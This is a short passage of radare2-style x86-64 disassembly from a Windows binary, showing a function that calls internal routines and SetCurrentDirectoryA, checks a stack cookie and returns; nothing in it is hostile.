mov rcx, rax
call fcn.1400147f8
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.140004e18
lea rcx, [rsp + 0x48]
call fcn.140004eec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea r8, [0x14003ece0]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.14000a74c
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call fcn.140004d7c
mov rcx, rax
call fcn.140014dd4
lea rcx, [rsp + 0x70]
call fcn.140004e88
lea rcx, [rsp + 0x48]
call fcn.140004e88
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0xa8
ret